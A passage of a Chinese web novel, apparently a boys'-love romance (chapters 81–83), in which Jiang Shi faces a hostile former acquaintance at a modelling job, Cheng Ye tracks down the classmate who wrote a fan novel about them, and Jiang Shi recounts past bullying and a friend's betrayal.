江时抓起放在一边的橙子丢在程野身上,“你能不能给我闭嘴!” 他待会回去就把那本破小说给删了。 不过话又说回来,江时问他,“你觉不觉得那本小说很奇怪?” 程野又给他剥了个虾,“哪里奇怪了?我看写得挺好。” “哪里好了?里面主角的名字还有那些剧情……”江时咂摸一下,“不会是认识我俩的人写的吧?” 程野没否认他这个猜想,只是问他,“那你觉得会是谁?” 那本小说满屏的限制级,除了do还是do,江时实在想不到自己身边还有这样的人才。而且故事设定在高中,小说也是在两年前发表的,跟他回到林城的时间差不多,这样一来,找起来就更麻烦了。 他在桌子底下踢了程野一脚,“肯定是你得罪谁了,对方气不过,写这种小说报复你。” 程野觉得冤枉,“两个人的主角,怎么就是我得罪人?” 江时道:“我性格这么好,怎么可能会得罪人?” 程野:“……” 程野背下这口黑锅,抽出纸巾擦了擦手,“别想太多,天底下哪有那么巧的事?说不定就是巧合,叫这个名的人很多。” 小说已经停更好久,现在连作者都找不到,想追究也没法追究,江时也只能这么安慰自己。 吃了饭,他差不多也该回学校。 天气逐渐入冬,程野给他装了好几件冬装,又买了些他平时爱吃的零食。 租的房子里学校不算很远,溜达过去也才十多分钟。 天气下着毛毛雨,江时双手插在兜里,张嘴时都能哈出一些白气来。 他跟程野说:“孙天宇又找我了,不过这次不是他们杂志,是他朋友的,他觉得我合适,就把我推过去了。” “合同呢?” “他发我了,我待会发给你看。” 反正程野比他懂,他觉得能去了江时再去。 合同没什么问题,这么久了,孙天宇不至于坑他。但拍摄这天程野有个会,江时只能自己去。 前段时间冷空气来袭,江城一夜之间降了温,还没到十二月,江时就把自己裹成个球。 孙天宇介绍的活是一个平面模特,这种稍好一点的服装店的模特都是固定的,但原本的那个模特出了点意外来不了,他们急着找人,孙天宇就想到了江时。 这种活很简单,往那里一站展示衣服就行,没什么技术含量,所以价格也不会太高。 但江时不贪心。 接待他的是一个三十多岁的中年女性,是这家服装店的负责人,知道江时是孙天宇介绍过来的,很有礼貌地接待了他。 江时坐在开着空调的沙发上,温度一冷一热,脸骤然变红,他搓了搓有些发僵的手,问负责人,“我们什么时候开始拍?” 负责人给他倒了杯茶,“麻烦你再等等,今天我们老板过来视察,等她走了就可以了。” 江时便捧着茶安静的等。 来之前他看过资料,这家店算是个网红店,老板是个女生,衣服质量另说,但版型和设计还不错,热度一直很高,请的模特也多是帅气好看的男生,所以孙天宇才会想到江时。 他等着的时候外面就传来陆陆续续的说话声,其中一个女生的声音嗲嗲的,尾音像拖着小勾子。 “宝宝,你看我每天请的这些模特啊设计师啊都不知道要花多少钱,这么多人就挤在这小小的屋子里,连窗户也没几扇,整天闷得人头疼。” 然后传来一个男人的声音,“我还以为是什么事,到时候我让人把隔壁也盘下来,到时候给你打个大大的落地窗。” 好几个人拥簇着两人从不远处的走廊走过来,见人往休息区这边走,江时和女人站了起来。 走前面的是一男一女,女生长得很好看,大眼睛、瓜子脸,海藻一样的长发披在脑后,她身边那个男的江时有点眼熟,但一时半会没想起来是谁。 他没认出对方,但对方看见他明显愣了愣。 “宋时?” 江时朝他看去。 几年过去,他身边的人和事都发生了翻天覆地的变化,之前的人江时忘得差不多,听他喊起这个名字,他才想起这人是谁。 霍寂的兄弟,姜恺乐。 两人之前的关系算不上多好,当时瞧不起江时的人也有他一个,只是碍于霍寂的面,一直没表现出来。 时隔几年再见面,说不尴尬是假的,但江时面上没显露,站起来跟他打了个招呼,“你怎么在这里?” 姜恺乐笑了声,搂紧身边的女生,“我女朋友开的店,我自然是陪她来视察。倒是你,几年不见,样子倒是没怎么变,来这里干什么?” 江时道:“我来工作。” “工作?”姜恺乐挑了下眉,朝他旁边的女人看去。 负责人连忙介绍,“姜先生是这样的,原本的模特出了意外,他是我们新找来的模特。” “模特……”姜恺乐露出一个意义不明的笑,歪头亲了身边的女人一口,“宝贝,你们工作室请个模特得花多少钱啊?我怕我们庙太小,容不下宋大少爷这尊大佛呢。” 女人眼睛转了转,看着姜恺乐的样子,像是明白了什么,笑嘻嘻地凑在他身边道:“哪有那么多钱,我们店小,拍一次也才两三百吧。” “张姐,这些事我不懂,你来说说,请他我们花了多少钱?” 负责人看看江时,挤出一个有些尴尬的笑,“两百……” “两百?我还以为两千呢。”姜恺乐走近江时,用一种近乎傲慢的目光扫了遍他,“想当初宋大少爷的身份是何等尊贵,连霍寂在你跟前都得不到几分好脸色,几年过去,怎么沦落到来当模特?” “其实严格来说也算不上模特吧,两百块请的人,拍几百块的淘宝货,算什么模特?” 姜恺乐身边的女人脸色变得有些难看。 江时倒没什么表情,“几千的衣服是衣服,几十的衣服也是衣服,我也不觉得自己是什么模特,工作而已,钱多钱少不是我能决定的,自然,也没有什么高低贵贱之分。” 姜恺乐跟谢鸿那种易燃易爆炸的货不一样,听完之后也只是笑了一声。 “你还是跟以前一样牙尖嘴利。” “不过,两百块还不够我一顿饭的,辛苦工作一天,我们的宋大少爷只赚这么点也太亏了,既然你是霍寂的朋友,那自然也是我朋友。” 他道:“那这样吧,给你再加五十怎么样?两百五,你要是觉得少我们还可以再商量。” 江时拿起放在一边的外套,“看来这家店并不是很欢迎我,我走了。” 姜恺乐挡在江时跟前,“宋……哦不,江时,不是我说,你这大少爷脾气得改改了,不是少爷命,就别乱发少爷脾气,看在朋友一场的份上,我给你涨工资你怎么还不开心?” “行啊……”江时道:“许久不见,你还是一如既往的惹人嫌,干脆把这二百五给你好了。这点钱是抵不上你一顿饭钱,但可以买点猪脑子给你补补。” “江时,你……” 姜恺乐身边的女人拉住他,瞪了江时一眼,“哪里来的没眼力见的东西,你知道我家亲爱的是谁吗?张姐,你看看你,找的都是些什么人,净拿些垃圾往我店里塞,还不快赶出去。” “这……”张姐左右为难。 江时自己拿着衣服出了店。 姜恺乐还想叫住人,被女人娇滴滴地拉住,“亲爱的,不要生气了嘛,为了个小角色气出皱纹多不划算。” 他一把甩开女人,再回头时,江时影子都没了。他脸色不是很好看,“你故意的?” “什么故意的?”女人没骨头一样靠在他身上,“人家只是想给你分忧,我是做错了吗?”说着,她泫然欲泣地眨了眨眼,眼泪要掉不掉,“要不我现在去把人喊回来让哥哥好好出出气?” 美人一哭,姜恺乐顿时什么都忘了。他搂了搂女人的肩膀,“算了……” 他看向张姐,“你们是怎么找到他的?” 服装店的钱都是姜恺乐投的,严格算起来,他才是老板。张姐只能老实道:“我认识一个杂志的主编,是他介绍过来的。” “什么杂志主编?” “新潮。” 姜恺乐在心底默念着这两个字,陷入了沉思- 雨变大了,江时站在大马路上跺了跺脚,等了二十多分钟一辆出租车也没等到。 寒气沿着雨往身体里钻,他拉着帽子盖上,看着跟前雾蒙蒙的天,想到了些不太好的回忆。 他张嘴哈出一口冷气,转身去身后的小卖部买了包口香糖。 江时嚼着口香糖往前走,没见到出租车,但等到了程野的电话。 “到地方了吗?晚上要降温,记得穿厚点,结束了发消息,我来接你。” 江时吸了吸鼻子,“程野,我被赶出来了。” “……” 程野来得很快,江时蹲在路口,口香糖还有甜味,他开着车就到了。 他穿着一件黑色冲锋衣,下颌锐利,冷着脸时看起来很吓人。 程野两三步蹿到江时身边,先是将他全身都打量个遍,然后才抬起有些冰冷的手蹭了下他冻得发红的鼻尖,声音有些干涩。 “还好没哭鼻子。”【你现在阅读的是 】 80-90 第81章 江时:“……” 他骂道:“怎么可能,我是那种人?” 程野把先把人带上车,然后再绕到另一边上去。他关掉车窗,隔绝外面的冷空气,探过身子给江时系上安全带。 “发生什么,怎么被人赶出来了?” 江时伸手拽着安全带,整个人埋在座位上,“没什么,只是发生了点口角。” 程野瞥了他一眼,启动车子,“一点口角就把你赶出去?” 江时不吭声了。 程野也不催他,车子平稳驶入车流。 开了几分钟,江时自己先憋不住,开口了,“我在里面遇到了个以前认识的人,他是霍寂的朋友,不过一直都不怎么喜欢我。” 听见霍寂这两个字,程野不动声色敛了下眉,握着方向盘的力道紧了点,“他为什么不喜欢你?” 江时自嘲地笑了声,“还能是什么,无非就是那些理由。以前不喜欢我的人很多,多他一个不多,少他一个不少。” 程野道:“既然这样,那为什么还生气?” “我只是想到了些……”讲到这里,江时闭上嘴,他赌气一样把脸别到另一边,“我就是小心眼,见不得别人说我一句不好行了吧!” 问也问不得,说也说不得,脾气还挺大。程野哄他,“没必要为不值当的人生气,不喜欢就不做,要是真的喜欢,那你再等等我。” 江时扭头看他,“等你什么,你还能给我开个公司不成?” 程野笑了声,“也不是不行。” 江时没把他的话当真,只不过经过刚刚的打岔,心情没那么闷了。 他歪头贴着窗吐了个泡泡,街外的霓虹映在眼底,他漫不经心地笑了下,“行啊,程老板给的承诺我又记住了个,到时候要是实现不了我看你怎么跟我交代?” 他脾气来得快去得也快,自从决定报考江城这边的大学就知道肯定会遇到以前的人,反正他也不是靠这个吃饭,兼职黄了就黄了,气消了,回到家就裹着毯子缩在沙发上打游戏。 按亮手机屏幕,江时才想起什么,抬头问程野,“你不是开会吗?我是不是打扰到你了?” “没。”程野勾着车钥匙站在门口,“开完了,不过我有事还得回去。” 江时没心没肺的,“好的,再见。” 程野没说什么,看了他一眼,转身出了屋。 他开着车回到公司,会议开到一半,所有人都在等他,但没人敢说什么。毕竟程野虽然会拖延,但加班工资是真的会给。 等到结束已经是下午四点,人群散开,王卓跟在他身后,“我们的技术人员不太够,如果新品要如期出的话,时间可能不太够。” “招人了吗?” “在招,但你也知道,研发型的人才可遇不可求,再加上我们只是一个小公司,条件开得再丰厚,也不一定会有人来。” “黄旭尧那边怎么说?” 王卓面露苦色,“黄总说,他既然提供了资金,技术就不归他管,当然了,他也可以管,只是这合同恐怕就要重新拟了。” 程野步伐停顿,然后拉开门。 “把招聘条件再往上提提。” 这件事暂且搁在一边,他坐在椅子上,问王卓,“我之前让你查的人查到了吗?” 说起这个,王卓从文件夹里翻出一张纸递给程野,“查到了,虽然是匿名,但我根据IP查到了作者的大致地址。发文时间是在两年前,地址是林城,最后一次上线是在一个月前,地址是在北边的一个省份。再细的我就不能往下了,不是查不到,是违法了。” 他还想当个遵纪守法的好公民。 程野拿着资料看了眼,“这点够了。” 他差不多知道是谁了。 王卓假装很不经意地开口,“咳……首先申明,我不是八卦,只是我在调查的时候不小心瞻仰了下这位作者的大作……”他瞅着程野的脸色,“你觉不觉得这两位主角的名字有一丢丢眼熟……” 程野不说话。 但显然,刚刚说的话已经耗尽了直男毕生的勇气。 王卓干笑一声,“啊哈哈……巧合,都是巧合。” 程野把手里的纸丢在桌子上,抬眼瞥了眼王卓,“你很闲?” “不闲不闲……”王卓摇头,“老大我走了。” 他走到门口,站在门边回头看了眼程野。青年坐在沙发上对着那张纸敛眉沉思,像是在思考小说的事,又像是别的事。 短短几年的时间,程野蜕变得非常快。他永远也想不到,当初他在车站接到的那个穿着十块钱三件T恤的人如今能开得起这么一家公司,而且这对他来说可能还只是个开始。 但有些变了,有些又没变。 王卓脑海里忽然浮现出小说里的内容。 他想到了程野看江时的眼神,然后再结合小说…… “……” 他想,他段时间内可能无法直视程野和江时了。 门彻底合上。 程野把纸张丢进碎纸机。 他拿着手机打开几乎从来没有点进去过的班级群,在里面找到一个名字,头像是粉粉嫩的卡通猫咪。 除了江时,他对其他人从来没在意过,但胜在脑子好,回忆一下还能记起女生的样子。 长头发,齐刘海,眼睛很大,不爱说话,平日里最爱的就是坐在位置上埋头不知道写什么。 明明性格看着腼腆,女生缘却很好,一到课间,总会有好几个女生围在她的桌子前面跟她借资料。 那本上了锁的笔记本很慎重地递出去,然后又很慎重地还回来。 程野:“……” 他抬着手,迟疑着按下申请好友的按钮。 那边不知道是被他吓住了还是没看到,直到程野下班了都没同意。 程野没买车,在周末的时候,都是跑着回家。他工作上压力大,再加上精力旺盛,久而久之,这些无法疏解的压力积攒多了,就变成难以言说的欲望。 但江时细皮嫩肉的,还没用力就喊疼,折腾一会就说累,跟个小祖宗似的。 程野没办法,只能在江时周末回家的时候加大运动量,通过汗水排解掉一部分精力。 他人刚跑到菜市场,手机震动了下,他停下步子,拿出手机。 好友申请通过,对方很有礼貌的询问。 【程野同学,你加我是有什么事吗?】 程野靠在路边的树上,山水沿着他的额头滑到眼皮,他眨了下眼。 【李彩英,那本小说是你写的吗?】 对面陷入死一样的寂静。 程野完全不知道他这短短的几个字对一位文静的小女生造成了什么样的伤害。 他陈述事实。 【这本小说已经对我和江时造成了影响,麻烦你删掉它。】 李彩英几乎是秒回。 【对对对对不起,我不是故意的,我马上就删。】 程野换了个姿势。 【真是你写的?】 【QAQ】 他回想了下里面的用词,实在无法和李彩英文静的外表联系在一起。 李彩英欲哭无泪。 还有什么比写小凰文抓住了更尴尬的?那就是被当事人抓到,这个人还是程野。 回想起程野那张冷酷的脸,她此刻无比庆幸自己考来了北方,不然要是距离近了,程野能当场过来把她撕了。 她磕磕绊绊地解释。 【对不起,我有罪,我当时写了随便一发就没管,那时候学习忙,发了也没上去看过。】 等她再上去看时,已经成了镇楼神文了。 网上版本那么多,再怎么删肯定删不完,但李彩英还是艰难地努力了番。 【我回去就删。】 她欲盖弥彰地解释。 【我就是嗑磕CP,绝对不会以为你跟江时同学有什么的,非常抱歉,给你和江时造成了困扰。】 虽然她不知道程野是怎么知道这本小说的存在,但只要一想着当事人看到了里面的内容,李彩英一张脸顿时就红了起来。 也不知道是害羞的还是其它什么。 程野抬着指尖敲了敲手机,盯着上面的聊天记录看了几秒,然后打字。 【除了网上的,其它的还有吗?】 CP姐的鼻子堪比狗鼻子,李彩英顿时就闻着味了,内心有点忐忑,但又不太敢确认,只能试探着。 【还有一些手写版本的,你是要发给你还是销毁?】 程野回她。 【发给我,然后销毁。】 李彩英:“……” 哪怕是她磕的CP,在此刻,她也忍不住想骂一句: 狗男人!- 江时以为姜恺乐的事那天已经结束了。 当时除了服装店的拍摄,江时还跟孙天宇谈了另一个兼职,时间定在两个星期后。 临到时,孙天宇给他打了个电话。 他似乎有点无奈、又有点愧疚,“对不起啊小时,上头那边说,你不太合适,要换人。” 江时愣了愣,然后有种果然如此的感觉。 孙天宇讲得有些缓慢,“他们还说……你既然能做出当场就走这种行为,以后也不用跟我们合作了。” 江时心底压着口浊气,他缓了会,才把这口气吐出来,“抱歉,那天是我给你惹麻烦了。” 他是孙天宇介绍过去的,就这么走了,实在有些对不起他。 当时的情况王姐已经跟孙天宇说了,再结合现在的事,他顿了顿,问江时,“你是不是得罪了什么人?” 第82章 其实得罪谁已经很明显了,只是江时没想到姜恺乐会把事情做得这么绝。 孙天宇说:“之前就想跟你说来着,但你还在读书,学生以学习为主,就没跟你讲。我有个朋友,是个经纪人,他见你照片的第一眼觉得你很适合当明星,他们公司虽然算不上那种很大的公司,但在圈里也算比较有名,你要不要考虑一下?” 江时没想到自己还有被星探看上的一天,他笑了笑,“算了,当明星多累,不适合我。” 孙天宇也看出来了,江时大多数时候都很懒,比起赚钱,他看起来更像是随便找点事做,让自己别那么闲。 因此工作黄了他也没什么感触,每天就是上上课,下课回到宿舍打游戏,周末被程野当祖宗一样供着。 姜恺乐以为他愁得日夜吃不下饭,说不定后面还要哭着来求他。 结果两个星期过去,江时上秤还胖了三斤。 程野盯着数字沉思。 他们公司最近新推出了款竞技游戏,才不到短短两个月就风靡大街小巷。 直到这时,许多人才注意到这个名不经传的小公司,才看到这个背后才二十出头的老板。 程野顿时炙手可热起来,每天都有数不清的邀约和聚会。生意上的合作,公司的事,再加上他还要上课,恨不得一个人掰成三个人来用。 但哪怕如此,他还是注意到了江时上涨的体重。 江时不容易胖,好不容易养点肉,运动一下,甚至感个冒就消减下去。 两个星期胖三斤,不代表程野养得好,只能说这两个星期某个小祖宗可能一下都没动弹过,除了吃就是睡。 最近天越发的冷,江城比林城靠北一点,十二月就落了雪。 租的房子在老小区,虽然有电梯,但总体设施有些陈旧,程野打算搬家。 江时住习惯了,不想换。 他说不换就不换,程野攒了钱,打算到时候直接买房。 外面白茫茫的一片,屋里开着空调。洗衣机坏了,炙手可热的程总穿着件老头背心拿着扳手蹲在阳台修洗衣机,江时溜达着出来上厕所,回去的时候看到秤,顺脚就称了下。 “程野!”他喊:“我重了三斤。” 程野拎着扳手就过来了,他低头看着数字,陷入了沉思。 江时称完就走了,靠在沙发上打游戏。 他成了程野公司新游戏的忠实爱好者,玩得那叫一个忘乎所以,不知天地为何物。 前两天新出了一个武器,更新免费送十抽,江时更新了还一直没抽,想着等今天老板在了,蹭蹭老板的欧气。 他搓搓手,还没来得及点下去,就被老板从沙发上捞起来。 “江时,你得运动了。” 江时:“……” “不是程野,大早上的你发什么神经?” 程野说:“你胖了。” 江时瞪大眼睛,“你还嫌我胖了?” “不是,你胖太快了。” “你的意思是我吃太多了呗?” 程野:“……” 他换了个委婉点的说法,“你最近是不是没怎么动过?” 江时越听越不顺耳,“你的意思是我好吃懒做呗?行啊你程野,有点钱就开始挑剔起来了。” 说完,他把程野的手从自己腰上拍开,扭头就走。 程野跟在他身后,“我不是那个意思,我只是觉得你这样对身体不好。” 江时不搭理他。 他伸手扣住江时的手,“你之前不是偶尔还去拍拍杂志吗,最近怎么不去了?” 江时眼神闪了下,“不想去就不去了,这么冷的天,我舒舒服服待家里不好吗?” 程野何其敏锐,一个眼神就发现不对劲。他把江时扭过来面对自己,“发生什么事了?” 江时不想说,“什么事都没有。” 程野说:“我让王卓把你手机的装备掉落率调到最低。” “……” 江时给了他一脚,“你自己听听,你这是人说的话吗?” 程野拍拍裤子,“既然你这么喜欢这个游戏,干脆限时,两个小时强制退出。” 江时瞪他。 程野垂着眼和他对视。 几秒后,江时败下阵,“还能怎么回事,不就是那天……” 他没说完,但足够程野猜到,“那天那个人?” “嗯。” 江时很是无所谓地说,“反正我又不是没钱用,区区一个小小的兼职,没了就没了,现在天这么冷,我才不想出门找罪受。” 程野本来就忙,江时不想自己的事来影响他心情,他转移话题,“算了,不提这个事。快!借我点欧气,让我一发入魂。” 他找到抽奖界面,抓着程野的手,眯着眼睛,很是慎重地按下去。 十连下去,无事发生。 程野:“……” 他手臂上隆起的肌肉此刻显得很无助,“要不再充点?” 江时说:“然后这钱交了一轮税,再回到你手里吗?” 他收了手机,“你修洗衣机修好了?” 主动问程野活干完了没,多半是饿了。 洗衣机里的线被抖松了,程野接回去,把螺丝拧上,单手拎起洗衣机放回原本的位置。 江时嫌弃阳台被他弄得脏兮兮的,歪着个脑袋扒在门边,“阳台的灯好像也有点坏了,一闪一闪的。” 程野抬头看了眼,“我晚上再弄,先去做饭。” 他穿着老头背心系着围裙做饭去了。 江时踩着拖鞋在客厅转了两圈,不知道是不是刚刚程野说的话刺激到了他,破天荒地来到厨房门口。 “要我帮忙吗?” 真要让他做什么,程野反而舍不得,挑挑拣拣半天,找了洗干净的土豆递给他,“帮我把这个削了。” 江时削个土豆程野还找个矮板凳给他坐着,菜炒完一个了,他还在削削削。 边削边看程野炒菜,“你最近不忙吗?我看王卓吐槽,说他天天加班。” 程野说:“还行。” 忙是忙,光是今天推掉的工作,他后面不知道要加多少班才补得上。但忙归忙,江时是要陪的。 为了工作不陪江时,那才是本末倒置。 程野还惦记着他不运动的事,“要不你明天早上跟我一起去跑步?” 江时坐在板凳上抬头看他,“几点?” 程野把时间往后提了半个小时,“六点半。” “……” 江时把土豆皮往他背上丢。 跑是不可能跑的,但江时也没堕落几天,学院要办元旦晚会,作为三朵金花最漂亮的那朵,江时被推了出去。 但他实在没什么才艺可言,拿不出才艺,只能接受班长的安排。 蒋霏说:“我们打算来个转性版的白雪公主。” 江时有种不好的预感,“所以?” 蒋霏站在他跟前,“所以当然是你当公主了。” 江时挣扎了下,“或许还有别的角色呢?” “后妈被左回定了,瞿安性格腼腆,求着我让他演魔镜。” 很显然,都没江时喜欢的。当然了,蒋霏不是来跟他商量的,她道:“时间紧,我们只有两个周,得抓紧排练。” 蒋霏是个雷厉风行的性子,一到下课就把三朵金花抓到排练室。 左回自带道具,捧着一个苹果对着瞿安桀桀桀的笑,“魔镜啊魔镜,你告诉我,谁是世界上最帅气的男人?” 瞿安面无表情,“江时。” 江时:“……” 左回面色狰狞地把苹果塞江时嘴里,“我要毒死你!” 江时拿着苹果咬了口,“你这个是面的,我喜欢脆苹果。” 蒋霏拿着稿子站台上,“别玩了,赶紧过来!” 就这么排了两天,江时胖起来的那点肉又没了。 又过了两天,姜恺乐找上了江时。 江城冬天的夜晚冷得很,江时怕冷,顾不得风度,把自己裹成个粽子。 姜恺乐站在他对面,衣服是新上市的新款,里面穿厚了显得臃肿,因此他穿得很少,站了不到两分钟,嘴唇就被冻得有些青紫。 更难看的是他的脸色。 江时裹着外套,“你找我什么事?” 姜恺乐咬着牙,拳头捏紧了又松开,最后僵直着在江时面前弯下腰,“对不起,那天的事是我太冲动了,之后找人撤掉你工作的行为也不对,你别往心里去。” 江时觉得稀奇,“你还会找我道歉?” 姜恺乐没说话,但脸色看起来更不好了。 江时欣赏了会他的神色,看多了,这些人变脸的样子也会觉得无趣。 他扭头就走。 “江时。”姜恺乐喊住他,“我还真是小瞧了你的本事。” 他神色有些扭曲,“之前霍寂和宋家护着你,在江城没人敢惹你,如今你不是宋家的人,霍寂也出国了,但还是有人护着你……” 说着他往前一步,死死盯着江时,“霍寂这才出国多久,你就傍上新的大腿,你还真是……”他笑了声,“从来不浪费你这张脸啊。” “这回又是谁?你新认识的富二代?黄家的黄旭尧?还是你哪里认识的老总?” 江时站着等他说完,他也不生气,甚至还笑了下,眉眼里带着被惯出来的张扬,“这就是你道歉的态度?” 姜恺乐僵了僵。 江时说:“不管我背后是谁,既然你都来找我道歉了,看来是被逼了吧?道歉都没诚意,怎么,你是觉得你说句对不起就完了是吗?” “江……”姜恺乐往前一步,话还没说完,就被人拎着后领往后拽。 程野穿着件黑色外套,衣服刚买没多久,服装店的甩卖价,款式土土的,全靠他那张脸在撑着。 他单手拎着姜恺乐,眉眼往下压,“干什么?” 对着他高大的体格,姜恺乐下意识有些虚,但还是挣扎了下,“你又是谁,放开我!” 程野松开手,扫了眼他,“姜恺乐是吧?没人教过你道歉该怎么道?” 姜恺乐揉了下肩膀,“关你什么事?” 程野说:“挺有骨气,那看来你爸一定很好奇你在外面都干了什么。” 姜恺乐的脸色变了又变,“是你?” 程野黑衣服黑裤子,鞋子上染着泥,手里拎着江时想吃的炸土豆,背上书包拉链坏了,敞着一个小口。 如果不是那张过于深邃的脸,就这打扮,往江时身边一站,活像乡下来的土狗。 “是我。” 他说。 第83章 程野拍了拍手,伸手一勾,江时背上的书包就落到他手里,“不要跟这种人废话,他不乐意,自然会有人让他乐意。” 江时看了姜恺乐一眼,转身走了还没几步,身后传来他有些气急败坏的声音,“你不会真以为江时是个什么好东西吧?” 程野压了压眉,扭头。 姜恺乐以为自己的话吸引到了他,朝江时露出一个有些得意的笑。 “让我来告诉你他以前是个什么样的人。他就是个抢了别人身份的小偷,不过是个乡下来的穷人,却硬生生过了十多年的少爷日子。贪慕虚荣、趋炎附势,之前在林城,全靠我的兄弟护着他,后面我兄弟出国,他又找上你。” “他惯会用那张脸哄骗别人,你不会真的以为自己在他那里是特别的吧?说到底,他还不是看上了你的钱和权势,当你什么都没有后,他跑得比谁都快。” 江时缩在衣袖里的手不由自主地捏紧了些。他知道姜恺乐说的这些并不是真的,可在他们眼里,他俨然就是这样的人。他没解释,而是转头朝程野看去。 程野摸了摸手里的土豆,“说完了?”他伸手去拉江时,“走了,你的土豆要凉了。” 江时懵了懵,甚至连反应都来不及做出,就这么被他拽着走。 姜恺乐彻底破防,站在后面大声喊:“喂!你究竟有没有听见我在说什么!” 程野被他吵得不耐烦,“听到了,所以呢?”他一脸的理所应当,“那也只能说明江时聪明,遇见什么都没有的人不跑还等着干什么?有权有势的人那么多,他从那么多人里选择我,那说明我有本事。” 姜恺乐先是被他的发言惊到,然后是满满的不可置信,“你知道你在说什么吗?等他遇到比你有权有势的人,第一个抛弃的就是你。” 程野说:“那只能怪我不够好,一个不够好的人当然不配站在江时身边。” 他从来不会在江时身上找原因,只会反省自己。 姜恺乐:“……” 哪怕是江时,也被程野这幅反向PUA的样子给惊到了。 程野才不管自己的发言对在场的两人造成什么影响,外面小雨淅淅沥沥的,他怕江时被冻到,拉着他上了车。 江时手里端着冷了一半的炸土豆,街边是倒退的风景,天黑了下来,雨刮挂掉水雾,霓虹闪烁。 程野在催他,“快吃,不然冷了。” 江时下意识塞了口到嘴里,没什么滋味地嚼了两口,扭头看向程野,“你刚刚说的……” 红灯,程野停下车。 “半真半假吧……”他笑了声,“我相信少爷不会真的离开我的。” “为什么?” 江时以为他要说什么他俩真心相爱这种肉麻的话,结果程野顿了顿,说:“比我有钱的没我帅,比我帅的没我有钱,比我帅又有钱的不一定有我活好,就算都有,那也没我年轻,没人比我对你好,我赚的钱都给你花,你要什么我都给你买,综合下来,你选择我才是最优解。” 绿灯亮起,车子起步。 江时被他的言论震惊到好久都没说话,他张嘴欲言,然后又闭上嘴。 就这么来来回回几次,车子停在了小区楼下。 楼下的银杏荒芜地只有零星几张叶子,路灯立在枝干上,地面投下倒影,雨在半空凝结成冰。 江城落下第二场雪。 江时眨眼扫掉落在眼睫上的雪粒,跟着程野上楼。 他看着男人从兜里掏出钥匙,开了门,高大的身影弯下给他拿出拖鞋。 毛茸茸的兔子拖鞋放在江时跟前,程野扶着他的肩,声音响在耳侧,“冻傻了?换鞋。” 江时抿着唇换了鞋,冷掉的土豆被搁在玄关,程野伸手去拉江时外套的拉链。 江时道:“我跟霍寂不是他说的那样。” 程野手上的动作顿了顿。 “我知道。”他嗓子有些发干,“不过是不是也不要紧,现在你在我身边,那就说明我比霍寂好。” 江时很少跟别人说起以前的事。 在外人眼里,他是高高在上的宋家少爷,好似有花不完的钱,享不尽的福,可只有他知道,那段日子对他而言,更多的是难堪。 “霍寂……”江时伸开手,让程野把他的外套脱下来,“我一直以为我们是朋友。” 宋家是忽然富起来的,那时候的江城商户们都是经历了好几代的打拼才站稳脚跟,宋家靠着煤矿一夜发家,到头来还要跟他们分一杯羹,他们自然不愿意。 于是小小的江时多了个外号——暴发户的儿子。 宋博急于发展,哪怕知道别人在背后这么说他,但他依旧可以毫无芥蒂地上门结交巴结。他能拉得下身段、受得了冷眼,但江时不行。 他身体里长着一根傲骨,他的自尊不允许他做出这种事。 这也是宋博厌弃他的根本原因。 老子儿子两个样,江时自然不受待见。他越是傲气,就越是有人想折断他的傲骨,只要江时反击,第一个责备他的就是宋博。 宋博总是说:“宋时,你是宋家的人,为什么不能替宋家考虑考虑?” 在那些漫长见不到光的长久欺凌里,谁又来替他考虑? 雪越落越大,窗外发出簌簌的声响。江时手里捧着热水,看着玻璃窗外茫茫的白。 “我初三那年,宋博的生意终于更上一层楼,他如愿地挤进江城的上层圈子,而我,作为他身份的象征,从普通初中转进了江城所谓的贵族学校。” 很显然,那些宋博巴结过的人的孩子也在。 “我就是那时候认识的霍寂。” “我……”他捏紧杯子,缓了好一会才声音如常地接着往下说:“换学校没多久,那些曾经欺负过我的人找上我,他们把我推到湖里,是霍寂救了我。” 那时候的霍寂留着跟现在一样半长的头发,身子单薄瘦弱,桃花眼狭长,五官妖异得像个女孩子。 他挡在江时面前,替他阻隔了那些作呕的视线,这一护,就护了好几年。 “张池身体不好,很多时候都是在请假,霍寂是除了张池以外第二个对我好的人,我们成了朋友。” 说到这里,江时声音有些低,“我以为我们会是朋友……” “后来……” 他把自己缩成一团,不太敢看程野的脸。 “高二的时候,他过生日,他邀请我参加他的生日聚会,但里面有很多我不喜欢的人,我就没答应。后面我又想着这是他的生日,作为朋友,我至少要出席一下,然后我悄悄去了。” 那时候好像就是这个时间,江城也下着雪,那个冬天发生了太多事,到头来回想,江时只记住了这漫天的白。 宋博不待见他,自然不会给他很多零花钱,和其它少爷比起来,江时其实过得并没有那么舒心。 他手里拿着攒了一个月零花钱的礼物站在包间门口,服务生走的时候没把门关严,热气从里面涌出,冷空气从走廊尽头的窗户吹进来,江时站在冷热交替的界点。 霍寂在他面前总是一副病恹恹的样子,他是第一次见他那么张扬肆意的坐姿,手里捏着烟,烟雾模糊他艳丽的五官。 身边的人朝着他笑,“霍少,这都几年了,你过个生日宋大少爷都不赏你脸吗?” 霍寂似乎有些不开心,声音也冷了点,“他不好意思,我总不能把人拖过来吧?” “我看你就是太惯着他了,一个上不得台面的小玩意,哪值得你费神。” 里面闹哄哄的,他们把江时当成个笑话谈来谈去,霍寂野只是听着,歪头抽着烟。 烟味飘到江时鼻子里,他觉得恶心。 又有人道:“不愧是霍少,你这一出手就是不一样,看那宋时,现在不就被你哄得团团转?” “是啊,还得是霍少,想当初,为了一个赌约,忍辱负重这么多年,我都很期待宋时知道这一切是个骗局时的表情了。” “可不是,当初哥几个把他推下湖的时候就等着霍少出来英雄救美,不得不说,霍少演技就是好,不仅宋时,就连我们看见,都差点信了。” “不过,都过去这么久了,霍少你怎么还跟那个宋时在一起玩啊,你不会真想跟他做朋友吧?” 霍寂顿了顿,烟灰落在他手背上,被他伸手拂去,他笑了声,“怎么可能,上不得台面的东西,玩玩就行了,谁想跟他当朋友。” 那年是江时见过最大的雪。 霍寂说他是个上不了台面的东西。 宋博说他不是他亲儿子。 他被迫着接受,混混沌沌踏上去往林城的火车。 这十八年里,他活得像个笑话,以为过去早就掩埋在那场雪里,没想到在今天又被剜了出来。 讲完了,江时松掉紧绷的肩。他靠在沙发上,手里的水已经冷了。 程野把水杯从他手里抽出去。 “我知道了。”他说。 江时有些诧异地朝他看去,“就没了?” “没了。” “……” 江时忍不住,“你就没什么感想吗?” 比如觉得他蠢什么的。 “没有。”程野顿了顿,“其实也不算没有……” 江时静等下文。 “少爷要听真话吗?” 他往往这么说的时候,江时就知道他接下来肯定没什么好话,但他又控制不住内心的好奇,“你说说。” 于是程野就说了。 “听完了,我很开心。他们都对你不好,只有我对你好,那你就更离不开我了,我跟他们不一样,我从来不骗你。” 所以江时只能跟他天下第一好。 江时:“……” 